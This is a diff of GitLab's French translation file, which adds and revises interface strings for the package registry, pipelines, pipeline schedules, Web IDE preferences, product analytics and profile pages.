@@ -29219,10 +29581,10 @@ msgstr[0] "Supprimer 1 ressource"
msgstr[1] "Supprimer %d ressources"
msgid "PackageRegistry|Delete Package Version"
-msgstr ""
+msgstr "Supprimer la version du paquet"
msgid "PackageRegistry|Delete package"
-msgstr ""
+msgstr "Supprimer le paquet"
msgid "PackageRegistry|Delete package asset"
msgstr "Supprimer la ressource du paquet"
@@ -29237,7 +29599,7 @@ msgid "PackageRegistry|Delete selected"
msgstr "Supprimer la sélection"
msgid "PackageRegistry|Delete this package"
-msgstr ""
+msgstr "Supprimer ce paquet"
msgid "PackageRegistry|Deleting all package assets will remove version %{version} of %{name}. Are you sure?"
msgstr "La suppression de toutes les ressources du paquet supprimera la version %{version} de %{name}. Êtes-vous sûr(e) ?"
@@ -29249,10 +29611,10 @@ msgid "PackageRegistry|Duplicate packages"
msgstr "Paquets dupliqués"
msgid "PackageRegistry|Enforce %{packageType} setting for all subgroups"
-msgstr ""
+msgstr "Imposer le paramétrage de %{packageType} pour tous les sous-groupes"
msgid "PackageRegistry|Enforce %{package_type} setting for all subgroups"
-msgstr ""
+msgstr "Imposer le paramétrage de %{package_type} pour tous les sous-groupes"
msgid "PackageRegistry|Error publishing"
msgstr "Erreur de publication"
@@ -29308,12 +29670,6 @@ msgstr "Commande d'installation du DSL Kotlin pour Gradle"
msgid "PackageRegistry|Helm"
msgstr "Helm"
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr "Aidez-nous à en savoir plus sur vos besoins en matière de migration de registre"
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr "Si vous êtes intéressé par la migration des paquets depuis votre registre privé vers le Registre de Paquets GitLab, répondez à notre enquête et dites-en nous plus sur vos besoins."
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "Si vous ne l'avez pas déjà fait, vous devrez ajouter ce qui suit à votre fichier %{codeStart}.pypirc%{codeEnd}."
@@ -29321,7 +29677,7 @@ msgid "PackageRegistry|If you haven't already done so, you will need to add the
msgstr "Si vous ne l'avez pas déjà fait, vous devrez ajouter ce qui suit à votre fichier %{codeStart}pom.xml%{codeEnd}."
msgid "PackageRegistry|Install package version"
-msgstr ""
+msgstr "Installer la version du paquet"
msgid "PackageRegistry|Instance-level"
msgstr "Niveau instance"
@@ -29336,7 +29692,7 @@ msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your
msgstr "Apprenez comment %{noPackagesLinkStart}publier et partager vos paquets%{noPackagesLinkEnd} avec GitLab."
msgid "PackageRegistry|License information located at %{link}"
-msgstr ""
+msgstr "Informations sur la licence situées à %{link}"
msgid "PackageRegistry|Manage storage used by package assets"
msgstr "Gérer le stockage utilisé par les ressources des paquets"
@@ -29422,7 +29778,7 @@ msgid "PackageRegistry|Registry setup"
msgstr "Configuration du Registre"
msgid "PackageRegistry|Remove package"
-msgstr ""
+msgstr "Enlever le paquet"
msgid "PackageRegistry|Required Python: %{pythonVersion}"
msgstr "Python requis : %{pythonVersion}"
@@ -29472,9 +29828,6 @@ msgstr "Désolé, aucun résultat ne correspond à vos critères de recherche."
msgid "PackageRegistry|Source project located at %{link}"
msgstr "Projet source situé à %{link}"
-msgid "PackageRegistry|Take survey"
-msgstr "Répondre à l'enquête"
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr "SHA cible : %{sha}"
@@ -29573,10 +29926,10 @@ msgid "Pages"
msgstr "Pages"
msgid "Pages Domain"
-msgstr ""
+msgstr "Domaine des Pages"
msgid "Pagination|First"
-msgstr ""
+msgstr "Première"
msgid "Pagination|Go to first page"
msgstr "Aller à la première page"
@@ -29591,7 +29944,7 @@ msgid "Pagination|Go to previous page"
msgstr "Aller à la page précédente"
msgid "Pagination|Last"
-msgstr ""
+msgstr "Dernière"
msgid "Pagination|Last »"
msgstr "Dernière ⇥"
@@ -29606,7 +29959,7 @@ msgid "Pagination|« First"
msgstr "⇤ Première"
msgid "Parameter"
-msgstr ""
+msgstr "Paramètre"
msgid "Parameter \"job_id\" cannot exceed length of %{job_id_max_size}"
msgstr "Le paramètre « job_id » ne peut pas dépasser la longueur de %{job_id_max_size}"
@@ -29617,12 +29970,6 @@ msgstr "Paramètres"
msgid "Parent"
msgstr "Parent"
-msgid "Parent epic doesn't exist."
-msgstr "L'épopée parente n'existe pas."
-
-msgid "Parent epic is not present."
-msgstr "L'épopée parente n'est pas présente."
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr "Erreur d'analyse pour le param :embed_json. %{message}"
@@ -29630,7 +29977,7 @@ msgid "Part of merge request changes"
msgstr "Partie des modifications de la demande de fusion"
msgid "Partial import"
-msgstr ""
+msgstr "Importation partielle"
msgid "Participants"
msgstr "Participants"
@@ -29642,7 +29989,7 @@ msgid "Passed"
msgstr ""
msgid "Passed on"
-msgstr ""
+msgstr "A réussi le"
msgid "Password"
msgstr "Mot de Passe"
@@ -29663,7 +30010,7 @@ msgid "Password was successfully updated. Please sign in again."
msgstr "Le mot de passe a été mis à jour avec succès. Veuillez vous reconnecter."
msgid "PasswordPrompt|Confirm password"
-msgstr ""
+msgstr "Confirmer le mot de passe"
msgid "PasswordPrompt|Confirm password to continue"
msgstr "Confirmez le mot de passe pour continuer"
@@ -29771,7 +30118,7 @@ msgid "Pending deletion"
msgstr "Suppression en attente"
msgid "Pending owner action"
-msgstr ""
+msgstr "Action du propriétaire en attente"
msgid "Pending sync…"
msgstr "Synchro en attente…"
@@ -29795,7 +30142,7 @@ msgid "Perform advanced options such as changing path, transferring, exporting,
msgstr "Effectuer des opérations avancées telles que changer de chemin, transférer, exporter ou supprimer le groupe."
msgid "Perform code reviews and enhance collaboration with merge requests."
-msgstr "Effectuez des revue de code et améliorez la collaboration avec des demandes de fusion."
+msgstr "Effectuez des revues de code et améliorez la collaboration avec des demandes de fusion."
msgid "Perform common operations on GitLab project"
msgstr "Effectuer des opérations courantes sur le projet GitLab"
@@ -29810,7 +30157,7 @@ msgid "PerformanceBar|Bullet notifications"
msgstr "Notifications Bullet"
msgid "PerformanceBar|DOM Content Loaded"
-msgstr "DOM Content Loaded"
+msgstr "Contenus DOM chargés"
msgid "PerformanceBar|Download"
msgstr "Télécharger"
@@ -29828,7 +30175,7 @@ msgid "PerformanceBar|Flamegraph with mode:"
msgstr "Flamegraph avec le mode :"
msgid "PerformanceBar|Frontend resources"
-msgstr ""
+msgstr "Ressources du frontend"
msgid "PerformanceBar|Gitaly calls"
msgstr "Appels Gitaly"
@@ -29837,7 +30184,7 @@ msgid "PerformanceBar|Memory"
msgstr "Mémoire"
msgid "PerformanceBar|Memory report"
-msgstr ""
+msgstr "Rapport sur la mémoire"
msgid "PerformanceBar|Redis calls"
msgstr "Appels Redis"
@@ -29861,7 +30208,7 @@ msgid "PerformanceBar|Total duration"
msgstr "Durée totale"
msgid "PerformanceBar|Trace"
-msgstr ""
+msgstr "Trace"
msgid "PerformanceBar|cpu"
msgstr "cpu"
@@ -29879,7 +30226,7 @@ msgid "Permalink"
msgstr "Lien permanent"
msgid "Permanently remove group"
-msgstr ""
+msgstr "Supprimer définitivement le groupe"
msgid "Permissions"
msgstr "Droits d’accès"
@@ -29963,10 +30310,10 @@ msgid "Pipeline"
msgstr "Pipeline"
msgid "Pipeline %{label}"
-msgstr ""
+msgstr "Pipeline %{label}"
msgid "Pipeline %{label} for \"%{dataTitle}\""
-msgstr ""
+msgstr "Pipeline %{label} pour « %{dataTitle} »"
msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
msgstr "Êtes-vous sûr de vouloir réinitialiser le fichier à sa dernière version validée ?"
@@ -29987,7 +30334,7 @@ msgid "Pipeline URL"
msgstr "URL du pipeline"
msgid "Pipeline creation rate limits"
-msgstr ""
+msgstr "Limitations de la fréquence de création de pipelines"
msgid "Pipeline durations for the last 30 commits"
msgstr "Durée des pipelines pour les 30 dernières validations"
@@ -29999,7 +30346,7 @@ msgid "Pipeline status emails"
msgstr "Courriels sur l'état du pipeline"
msgid "Pipeline subscriptions"
-msgstr ""
+msgstr "Abonnements aux pipelines"
msgid "Pipeline subscriptions trigger a new pipeline on the default branch of this project when a pipeline successfully completes for a new tag on the %{default_branch_docs} of the subscribed project."
msgstr "Les abonnements de pipeline déclenchent un nouveau pipeline sur la branche par défaut de ce projet quand un pipeline se termine avec succès pour une nouvelle étiquette de la %{default_branch_docs} du projet souscrit."
@@ -30154,8 +30501,8 @@ msgstr "Validation du pipeline... Cela peut prendre jusqu'à une minute."
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr "En attente du chargement du contenu CI..."
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
-msgstr "Personnalisé (%{linkStart}syntaxe Cron%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
+msgstr "Personnalisé (%{linkStart}En savoir plus.%{linkEnd})"
msgid "PipelineSchedules|Activated"
msgstr "Activé"
@@ -30169,6 +30516,9 @@ msgstr "Tous"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr "Êtes-vous sûr de vouloir supprimer cette planification de pipeline ?"
+msgid "PipelineSchedules|Cron timezone"
+msgstr "Fuseau horaire cron"
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr "Supprimer la planification du pipeline"
@@ -30181,6 +30531,9 @@ msgstr "Modifier la planification du pipeline"
msgid "PipelineSchedules|Inactive"
msgstr "Inactif"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr "Motif de l'intervalle"
+
msgid "PipelineSchedules|Last Pipeline"
msgstr "Dernier pipeline"
@@ -30208,6 +30561,12 @@ msgstr "Indiquez une courte description"
msgid "PipelineSchedules|Run pipeline schedule"
msgstr "Exécuter la planification du pipeline"
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr "Enregistrer la planification du pipeline"
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr "Un pipeline a été programmé avec succès pour s'exécuter. Allez à la %{linkStart}page des pipelines%{linkEnd} pour les détails."
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,9 +30585,12 @@ msgstr "Une erreur est survenue lors de la suppression de la planification du pi
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr "Une erreur est survenue lors de la récupération des planifications de pipelines."
-msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
msgstr ""
+msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
+msgstr "Une erreur s'est produite en s'appropriant la planification du pipeline."
+
msgid "PipelineSchedules|Variables"
msgstr "Variables"
@@ -30353,10 +30715,10 @@ msgid "Pipelines|1. Set up a runner"
msgstr "1. Configurez un exécuteur"
msgid "Pipelines|2. Configure deployment pipeline"
-msgstr ""
+msgstr "2. Configurez le pipeline de déploiement"
msgid "Pipelines|A GitLab Runner is an application that works with GitLab CI/CD to run jobs in a pipeline. Install GitLab Runner and register your own runners to get started with CI/CD."
-msgstr ""
+msgstr "GitLab Runner est une application qui fonctionne avec GitLab CI/CD pour exécuter des tâches dans un pipeline. Installez GitLab Runner et enregistrez vos propres exécuteurs pour débuter en CI/CD."
msgid "Pipelines|API"
msgstr "API"
@@ -30422,7 +30784,7 @@ msgid "Pipelines|Follow these instructions to install GitLab Runner on macOS."
msgstr "Suivez ces instructions pour installer GitLab Runner sur macOS."
msgid "Pipelines|Get familiar with GitLab CI syntax by setting up a simple pipeline running a \"Hello world\" script to see how it runs, explore how CI/CD works."
-msgstr ""
+msgstr "Familiarisez-vous avec la syntaxe de GitLab CI en configurant un pipeline simple exécutant un script « Hello world » pour voir comment il se lance et pour explorer le fonctionnement des CI/CD."
msgid "Pipelines|Get started with GitLab CI/CD"
msgstr "Premiers pas avec GitLab CI/CD"
@@ -30434,7 +30796,7 @@ msgid "Pipelines|GitLab Runner is an application that works with GitLab CI/CD to
msgstr "GitLab Runner est une application qui fonctionne avec GitLab CI/CD pour exécuter des tâches dans un pipeline."
msgid "Pipelines|GitLab Runner is an application that works with GitLab CI/CD to run jobs in a pipeline. There are active runners available to run your jobs right now. If you prefer, you can %{settingsLinkStart}configure your runners%{settingsLinkEnd} or %{docsLinkStart}learn more%{docsLinkEnd} about runners."
-msgstr ""
+msgstr "GitLab Runner est une application qui fonctionne avec GitLab CI/CD pour exécuter des tâches dans un pipeline. Il y a des exécuteurs actifs disponibles pour exécuter vos tâches dès à présent. Si vous préférez, vous pouvez %{settingsLinkStart}configurer vos exécuteurs%{settingsLinkEnd} ou %{docsLinkStart}en savoir plus%{docsLinkEnd} à leur propos."
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr "En cas de doute, veuillez demander à un mainteneur du projet de l'examiner pour vous."
@@ -30449,7 +30811,7 @@ msgid "Pipelines|Last Used"
msgstr "Dernière utilisation"
msgid "Pipelines|Learn the basics of pipelines and .yml files"
-msgstr ""
+msgstr "Apprendre les bases des pipelines et des fichiers .yml"
msgid "Pipelines|Let's get that runner set up! %{emojiStart}tada%{emojiEnd}"
msgstr "Configurons cet exécuteur ! %{emojiStart}tada%{emojiEnd}"
@@ -30494,7 +30856,7 @@ msgid "Pipelines|Project cache successfully reset."
msgstr "Réinitialisation du cache de projet réussie."
msgid "Pipelines|Ready to set up CI/CD for your project?"
-msgstr ""
+msgstr "Prêt pour la configuration CI/CD de votre projet ?"
msgid "Pipelines|Revoke trigger"
msgstr "Révoquer le déclencheur"
@@ -30545,7 +30907,7 @@ msgid "Pipelines|This GitLab CI configuration is valid."
msgstr "Cette configuration de GitLab CI est valide."
msgid "Pipelines|This is a child pipeline within the parent pipeline"
-msgstr ""
+msgstr "Il s'agit d'un pipeline enfant dans le pipeline parent"
msgid "Pipelines|This pipeline ran on the contents of this merge request combined with the contents of all other merge requests queued for merging into the target branch."
msgstr "Ce pipeline s'est exécuté sur le contenu de cette demande de fusion combiné avec le contenu de toutes les autres demandes de fusion qui étaient en attente de fusion vers la branche cible."
@@ -30569,7 +30931,7 @@ msgid "Pipelines|Try test template"
msgstr "Essayer le modèle de test"
msgid "Pipelines|Use a sample %{codeStart}.gitlab-ci.yml%{codeEnd} template file to explore how CI/CD works."
-msgstr "Utiliser un fichier modèle d'exemple %{codeStart}.gitlab-ci.yml%{codeEnd} pour découvrir le fonctionnement de CI/CD."
+msgstr "Utilisez un fichier modèle d'exemple %{codeStart}.gitlab-ci.yml%{codeEnd} pour découvrir le fonctionnement de CI/CD."
msgid "Pipelines|Use a template based on your project's language or framework to get started with GitLab CI/CD."
msgstr "Utiliser un modèle basé sur le langage ou sur le framework de votre projet pour débuter avec GitLab CI/CD."
@@ -30593,7 +30955,7 @@ msgid "Pipelines|We'll guide you through a simple pipeline set-up."
msgstr "Nous allons vous guider à travers la configuration d'un pipeline simple."
msgid "Pipelines|We'll walk you through how to deploy to iOS in two easy steps."
-msgstr ""
+msgstr "Nous allons vous expliquer comment déployer sur iOS en deux étapes simples."
msgid "Pipelines|You have runners available to run your job now. No need to do anything else."
msgstr "Vous avez des exécuteurs disponibles pour lancer votre tâche maintenant. Pas besoin de faire quoi que ce soit d'autre."
@@ -30665,13 +31027,13 @@ msgid "Pipeline|Merge request pipeline"
msgstr "Pipeline de demande de fusion"
msgid "Pipeline|Merge train pipeline"
-msgstr ""
+msgstr "Pipeline du train de fusion"
msgid "Pipeline|Merge train pipeline jobs can not be retried"
msgstr "Les tâches du pipeline de train de fusion ne peuvent pas être retentées"
msgid "Pipeline|Merged result pipeline"
-msgstr ""
+msgstr "Pipeline du résultat de fusion"
msgid "Pipeline|Passed"
msgstr "Passé"
@@ -30983,7 +31345,7 @@ msgid "Please review the updated escalation policies for %{project}. It is recom
msgstr ""
msgid "Please select"
-msgstr ""
+msgstr "Veuillez sélectionner"
msgid "Please select a Jira project"
msgstr "Veuillez sélectionner un projet Jira"
@@ -31058,7 +31420,7 @@ msgid "Policy management project does not have any policies in %{policy_path}"
msgstr "Le projet de gestion des stratégies ne contient aucune stratégie dans %{policy_path}"
msgid "Policy project doesn't exist"
-msgstr ""
+msgstr "Le projet de politique n'existe pas"
msgid "PolicyRuleMultiSelect|%{firstLabel} +%{numberOfAdditionalLabels} more"
msgstr "%{firstLabel} +%{numberOfAdditionalLabels} de plus"
@@ -31180,9 +31542,6 @@ msgstr "Choisissez le contenu par défaut que vous souhaitez voir sur votre tabl
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "Choisissez le contenu que vous souhaitez voir sur la vue d'ensemble d'un projet."
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr "Choisissez quelle version de l'EDI Web vous souhaitez utiliser."
-
msgid "Preferences|Color for added lines"
msgstr "Couleur des lignes ajoutées"
@@ -31240,6 +31599,9 @@ msgstr "Largeur de la mise en page"
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr "Doit être un nombre compris entre %{min} et %{max}"
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr "Désactiver la version bêta de l'EDI Web"
+
msgid "Preferences|Preview"
msgstr "Aperçu"
@@ -31267,8 +31629,11 @@ msgstr "Thème de coloration syntaxique"
msgid "Preferences|Tab width"
msgstr "Largeur de tabulation"
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
-msgstr "L'ancien EDI Web reste disponible tant que le nouveau est en Bêta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr "La version bêta de l'EDI Web est celle utilisée par défaut."
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
+msgstr "L'EDI Web classique reste disponible parallèlement à la version bêta."
msgid "Preferences|This feature is experimental and translations are not yet complete."
msgstr "Cette fonctionnalité est expérimentale et les traductions ne sont pas encore terminées."
@@ -31282,9 +31647,6 @@ msgstr "Ces paramètres vous permettent de personnaliser le comportement de la m
msgid "Preferences|Time preferences"
msgstr "Préférences de l’heure"
-msgid "Preferences|Use legacy Web IDE"
-msgstr "Utiliser l'ancien EDI Web"
-
msgid "Preferences|Use relative times"
msgstr "Dates et heures relatives à l'heure actuelle"
@@ -31334,7 +31696,7 @@ msgid "Preview Markdown"
msgstr "Aperçu du Markdown"
msgid "Preview changes"
-msgstr ""
+msgstr "Aperçu des modifications"
msgid "Preview diagram"
msgstr "Aperçu du diagramme"
@@ -31349,13 +31711,13 @@ msgid "Previous commit"
msgstr "Commit précédent"
msgid "Previous design"
-msgstr "Design précédent"
+msgstr "Esquisse précédente"
msgid "Previous file in diff"
msgstr "Fichier précédent du diff"
msgid "Previous unresolved discussion"
-msgstr "Discussion précédente non résolue"
+msgstr "Discussion non résolue précédente"
msgid "Primary Action"
msgstr "Action principale"
@@ -31396,6 +31758,9 @@ msgstr "Groupe(s) privé(s)"
msgid "Private profile"
msgstr "Profil privé"
+msgid "Private profile:"
+msgstr "Profil privé :"
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31406,29 +31771,230 @@ msgid "Problem with %{name} command: %{message}."
msgstr "Problème avec la commande %{name} : %{message}."
msgid "Proceed"
-msgstr ""
+msgstr "Poursuivre"
+
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr "Ajoutez le paquet NPM à votre package.json à l'aide de votre gestionnaire de paquets préféré :"
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr "Ajoutez le script dans la page et assignez le client SDK à la fenêtre :"
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr "Analysez votre produit avec l'Analytique des Produits"
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr "Pour que le tableau de bord de l'analytique des produits commence à vous montrer des données, vous devez ajouter le code de suivi analytique à votre projet."
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr "Identifie l'expéditeur des événements de suivi"
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr "Importez le nouveau paquet dans votre code JS :"
+
+msgid "Product Analytics|Instrument your application"
+msgstr "Instrumentez votre application"
+
+msgid "Product Analytics|SDK App ID"
msgstr ""
+msgid "Product Analytics|SDK Host"
+msgstr "Hôte SDK"
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr "Mettez en œuvre l'Analytique des Produits pour suivre les performances de votre produit. Combinez-la avec vos données GitLab pour mieux comprendre où vous pouvez améliorer votre produit et vos processus de développement."
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr "Configurer l'analytique des produits..."
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr "Étapes pour ajouter l'analytique des produits en tant que module CommonJS"
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr "Étapes pour ajouter l'analytique des produits en tant que balise de script HTML"
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr "Étapes pour ajouter l'analytique des produits en tant que module ESM"
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr "L'hôte auquel envoyer tous les événements de suivi"
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
+msgstr "Pour instrumenter votre application, sélectionnez l'une des options ci-dessous. Après l'instrumentation et une fois les données en cours de collecte, cette page passera à l'étape suivante."
+
msgid "Product analytics"
msgstr "Analytique des produits"
+msgid "ProductAnalytics|Add another dimension"
+msgstr "Ajouter une autre dimension"
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr "Ajouter au tableau de bord"
-msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
msgstr ""
+msgid "ProductAnalytics|All features"
+msgstr "Toutes les fonctionnalités"
+
+msgid "ProductAnalytics|All pages"
+msgstr "Toutes les pages"
+
+msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
+msgstr "Une erreur s'est produite lors du chargement du widget %{widgetTitle}."
+
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr "Une erreur s'est produite lors de la récupération des données. Actualisez la page pour réessayer."
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr "Tout clic sur des éléments"
+
msgid "ProductAnalytics|Audience"
msgstr "Audience"
-msgid "ProductAnalytics|New Analytics Widget Title"
+msgid "ProductAnalytics|Browser"
+msgstr "Navigateur"
+
+msgid "ProductAnalytics|Browser Family"
+msgstr "Famille de navigateur"
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr "Choisissez un type de graphique sur la droite"
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr "Choisissez une mesure pour commencer"
+
+msgid "ProductAnalytics|Click Events"
+msgstr "Événements de clic"
+
+msgid "ProductAnalytics|Code"
+msgstr "Code"
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr "Compare tous les événements les uns aux autres"
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr "Compare les événements de clic les uns aux autres"
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr "Compare l'utilisation des fonctionnalités les unes aux autres pour toutes les fonctionnalités"
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr "Compare les vues de pages les unes aux autres pour toutes les pages"
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr "Les tableaux de bord sont créés en modifiant les fichiers de tableau de bord des projets."
+
+msgid "ProductAnalytics|Data"
+msgstr "Données"
+
+msgid "ProductAnalytics|Data Table"
+msgstr "Tableau de données"
+
+msgid "ProductAnalytics|Dimensions"
+msgstr "Dimensions"
+
+msgid "ProductAnalytics|Event Type"
+msgstr "Type d’événement"
+
+msgid "ProductAnalytics|Events"
+msgstr "Événements"
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr "Événements groupés par %{granularity}"
+
+msgid "ProductAnalytics|Events over time"
+msgstr "Événements au cours du temps"
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr "Utilisation des fonctionnalités"
+
+msgid "ProductAnalytics|Feature usage"
+msgstr "Utilisation des fonctionnalités"
+
+msgid "ProductAnalytics|Host"
+msgstr "Hôte"
+
+msgid "ProductAnalytics|Language"
+msgstr "Langage"
+
+msgid "ProductAnalytics|Line Chart"
+msgstr "Graphique linéaire"
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr "Mesurer tous les événements suivis"
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
msgstr ""
+msgid "ProductAnalytics|New Analytics Widget Title"
+msgstr "Titre du nouveau widget Analytique"
+
+msgid "ProductAnalytics|OS"
+msgstr "OS"
+
+msgid "ProductAnalytics|OS Version"
+msgstr "Version de l'OS"
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr "Sur quoi voulez-vous obtenir des statistiques ?"
+
+msgid "ProductAnalytics|Page Language"
+msgstr "Langage de page"
+
+msgid "ProductAnalytics|Page Path"
+msgstr "Chemin de page"
+
+msgid "ProductAnalytics|Page Title"
+msgstr "Titre de page"
+
+msgid "ProductAnalytics|Page Views"
+msgstr "Vues de page"
+
+msgid "ProductAnalytics|Pages"
+msgstr "Pages"
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr "Tableaux de bord de l'analytique des produits"
+
+msgid "ProductAnalytics|Referer"
+msgstr "Référent"
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr "Données résultantes"
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr "Il n’y a pas de données pour ce type de graphique actuellement. Veuillez consulter l’onglet Configuration si vous n’avez pas déjà configuré l’outil des données analytiques de produit."
+msgid "ProductAnalytics|Track specific features"
+msgstr "Suivre des fonctionnalités spécifiques"
+
+msgid "ProductAnalytics|URL"
+msgstr "URL"
+
+msgid "ProductAnalytics|User activity"
+msgstr "Activité des utilisateurs"
+
+msgid "ProductAnalytics|Users"
+msgstr "Utilisateurs"
+
+msgid "ProductAnalytics|Viewport"
+msgstr "Zone d'affichage"
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr "Type de visualisation"
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr "Que voulez-vous mesurer ?"
+
+msgid "ProductAnalytics|Widget"
+msgstr "Widget"
+
msgid "Productivity"
msgstr "Productivité"
@@ -31472,7 +32038,7 @@ msgid "ProductivityAnalytics|Merge requests"
msgstr "Demandes de fusion"
msgid "ProductivityAnalytics|Time to merge"
-msgstr ""
+msgstr "Temps jusqu'à la fusion"
msgid "ProductivityAnalytics|Trendline"
msgstr ""
@@ -31490,7 +32056,7 @@ msgid "Profile failed to delete"
msgstr ""
msgid "Profile image guideline"
-msgstr ""
+msgstr "Consignes pour les images du profil"
msgid "Profile page:"
msgstr "Page du profil :"
@@ -31499,7 +32065,7 @@ msgid "Profile parameter missing"
msgstr "Paramètre de profil manquant"
msgid "ProfileSession|on"
-msgstr ""
+msgstr "depuis"
msgid "Profiles| You are about to permanently delete %{yourAccount}, and all of the issues, merge requests, and groups linked to your account. Once you confirm %{deleteAccount}, it cannot be undone or recovered."
msgstr "Vous êtes sur le point de supprimer définitivement %{yourAccount}, ainsi que tous les tickets, les demandes de fusion et les groupes liés à votre compte. Après confirmation, %{deleteAccount} ne peut être ni annulé ni restauré."
@@ -31508,7 +32074,7 @@ msgid "Profiles| You are going to change the username %{currentUsernameBold} to
msgstr "Vous êtes sur le point de changer le nom d’utilisateur %{currentUsernameBold} en %{newUsernameBold}. Le profil et les projets seront redirigés vers l’espace de noms %{newUsername}, mais cette redirection expire si un nouvel utilisateur ou un nouveau groupe est créé avec l’ancien nom %{currentUsername}. Veuillez mettre à jour vos dépôts Git dès que possible."
msgid "Profiles|%{provider} Active"
-msgstr ""
+msgstr "%{provider} actif"
msgid "Profiles|@username"
msgstr "@nom_d_utilisateur"
@@ -31538,7 +32104,7 @@ msgid "Profiles|Begins with %{ssh_key_algorithms}."
msgstr "Commence par %{ssh_key_algorithms}."
msgid "Profiles|Bio"
-msgstr ""
+msgstr "Bio"
msgid "Profiles|Change username"
msgstr "Changer le nom d’utilisateur"
@@ -31952,10 +32518,10 @@ msgid "Project avatar"
msgstr "Avatar du projet"
msgid "Project cannot be shared with the group it is in or one of its ancestors."
-msgstr ""
+msgstr "Le projet ne peut pas être partagé avec le groupe dans lequel il se trouve ni avec un de ses ancêtres."
msgid "Project configuration, excluding integrations"
-msgstr "La configuration du projet, à l'exclusion des intégrations"
+msgstr "Configuration du projet, à l'exclusion des intégrations"
msgid "Project description (optional)"
msgstr "Description du projet (facultative)"
@@ -32009,13 +32575,13 @@ msgid "Project name"
msgstr "Nom du projet"
msgid "Project navigation"
-msgstr ""
+msgstr "Navigation dans les projets"
msgid "Project or Group"
msgstr "Projet ou Groupe"
msgid "Project order will not be saved as local storage is not available."
-msgstr ""
+msgstr "L'ordre de classement des projets ne sera pas enregistré car le stockage local n'est pas disponible."
msgid "Project path"
msgstr "Chemin du projet"
@@ -32083,6 +32649,18 @@ msgstr "Afficher plus"
msgid "ProjectLastActivity|Never"
msgstr "Jamais"
+msgid "ProjectList|Explore"
+msgstr "Explorer"
+
+msgid "ProjectList|Starred"
+msgstr "Favoris"
+
+msgid "ProjectList|Topics"
+msgstr "Sujets"
+
+msgid "ProjectList|Yours"
+msgstr "Les vôtres"
+
msgid "ProjectOverview|Fork"
msgstr "Créer une divergence"
